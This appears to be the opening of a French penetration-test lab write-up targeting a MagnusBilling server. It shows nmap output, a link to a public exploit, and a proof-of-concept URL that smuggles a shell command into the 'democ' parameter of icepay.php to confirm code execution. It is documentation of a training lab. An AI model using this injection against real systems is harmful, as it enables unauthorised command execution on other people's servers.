Version Rapport PDF Profesionnel :

rapport_pentest_billing.pdf

Scan Nmap

ip de la machine 10.81.137.136

┌──(benjamin㉿kali)-[~]
└─$ nmap -sCV -T4 10.81.137.136 
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-12-05 15:41 CET
Nmap scan report for 10.81.137.136
Host is up (0.025s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 eb:3b:16:20:6e:ff:a8:f0:a9:bb:c3:de:8c:20:5d:fd (ECDSA)
|_  256 6b:72:8e:93:44:1c:59:54:4a:dd:54:13:d2:5e:31:c3 (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
| http-title:             MagnusBilling        
|_Requested resource was <http://10.81.137.136/mbilling/>
|_http-server-header: Apache/2.4.62 (Debian)
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 10.17 seconds

Sur le port 80, on trouve un CMS : MagnusBilling

Le fichier robots.txt indique une entrée intéressante :

/mbilling/

Exploitation MagnusBilling par Injection de commande

Une vulnérabilité publique permet d’injecter des commandes :

lien exploitdb : https://www.exploit-db.com/exploits/52170

POC :

On teste l’exécution de whoami en redirigeant la sortie dans un fichier txt :

http://magnusbilling/lib/icepay/icepay.php?democ=;whoami > whoami.txt;

image.png

Le fichier est bien créé et le contenu confirme l’exécution de commande.

image.png